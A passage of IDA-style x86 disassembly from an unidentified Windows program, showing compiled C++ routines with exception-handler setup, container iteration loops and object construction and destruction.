		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414BF7:				; CODE XREF: ___:00414B1Ej
					; ___:00414BB5j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414C70	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B45
sub_414C70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414C88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414C88:				; CODE XREF: ___:00414C7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414CA0	proc near		; CODE XREF: sub_401B45j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414CA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401578
sub_414CA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414D40	proc near		; CODE XREF: sub_4014BFj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414D40
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414E3B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014C9
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_446F60
		call	sub_401861
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C8E
		mov	[esp+88h+var_4], ebx
		call	sub_40210D
		test	al, al
		jz	loc_414F70
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414E3B:				; CODE XREF: sub_414D40+36j
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F70
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014C9
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014C9
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014C9
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_443600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_443600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C8E
		mov	[esp+0D0h+var_4], ebx
		call	sub_40189D
		test	al, al
		jz	short loc_414F70
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F70:				; CODE XREF: sub_414D40+82j
					; sub_414D40+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414D40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415030	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401EBA
sub_415030	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415070	proc near		; CODE XREF: sub_40171Cj

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401EBA
sub_415070	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016CC
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_40172B
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4150F0	proc near		; CODE XREF: sub_401578j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401465
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CD5
sub_4150F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415160	proc near		; CODE XREF: sub_4012E9j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_415160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4151A0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_4151A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151D0	proc near		; CODE XREF: sub_40147Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D89
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40215D
sub_4151D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415210	proc near		; CODE XREF: sub_401258j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4012E9
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401D5C
		test	al, al
		jz	short loc_415291
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415243:				; CODE XREF: sub_415210+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_401FA5
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415275
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		jmp	short loc_41527E
; ---------------------------------------------------------------------------


loc_415275:				; CODE XREF: sub_415210+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4020A4


loc_41527E:				; CODE XREF: sub_415210+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415243
		pop	edi


loc_415291:				; CODE XREF: sub_415210+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152D0	proc near		; CODE XREF: sub_401E1Fj
		push	esi
		mov	esi, ecx
		call	sub_401EB5
		mov	eax, esi
		pop	esi
		retn
sub_4152D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152F0	proc near		; CODE XREF: sub_401FA5j
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_4152F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415310	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415340	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015CD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415370	proc near		; CODE XREF: sub_401F05j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C7B
sub_415370	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4153B0	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E1A
sub_4153B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401983j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415460	proc near		; CODE XREF: sub_402234j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_401EF1j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402234
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A96
sub_415490	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154D0	proc near		; CODE XREF: sub_401924j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4154D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415520	proc near		; CODE XREF: sub_401154j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_401983
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401AD7
		test	al, al
		jz	short loc_4155A1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415553:				; CODE XREF: sub_415520+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415585
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		jmp	short loc_41558E
; ---------------------------------------------------------------------------


loc_415585:				; CODE XREF: sub_415520+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4018B6


loc_41558E:				; CODE XREF: sub_415520+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415553
		pop	edi


loc_4155A1:				; CODE XREF: sub_415520+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155E0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E79
		mov	eax, esi
		pop	esi
		retn
sub_4155E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402126
		add	esp, 4
		retn
sub_415600	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415620	proc near		; CODE XREF: sub_4018B6j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415620	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415650	proc near		; CODE XREF: sub_401AD7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EA6
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415650	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415680	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DA2
sub_415680	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4156C0	proc near		; CODE XREF: sub_4014B5j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401EF6
sub_4156C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415730	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415770	proc near		; CODE XREF: sub_40114Aj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415770	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157A0	proc near		; CODE XREF: sub_401406j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401CFD
sub_4157A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4157E0	proc near		; CODE XREF: sub_401C62j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		pop	esi
		add	esp, 0Ch
		retn
sub_4157E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415830	proc near		; CODE XREF: sub_402130j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4018F2
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401339
		test	al, al
		jz	short loc_4158B1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415863:				; CODE XREF: sub_415830+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415895
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_415895:				; CODE XREF: sub_415830+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41589E:				; CODE XREF: sub_415830+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401339
		test	al, al
		jnz	short loc_415863
		pop	edi


loc_4158B1:				; CODE XREF: sub_415830+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415830	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158F0	proc near		; CODE XREF: sub_402252j
		push	esi
		mov	esi, ecx
		call	sub_401E29
		mov	eax, esi
		pop	esi
		retn
sub_4158F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017DA
		add	esp, 4
		retn
sub_415910	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415930	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415930	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415960	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40144C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415960	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415990	proc near		; CODE XREF: sub_40113Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415990	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159D0	proc near		; CODE XREF: sub_4016CCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_4159D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415A00	proc near		; CODE XREF: sub_40215Dj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C4E
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401EBA
sub_415A00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401EFB
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_402194
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



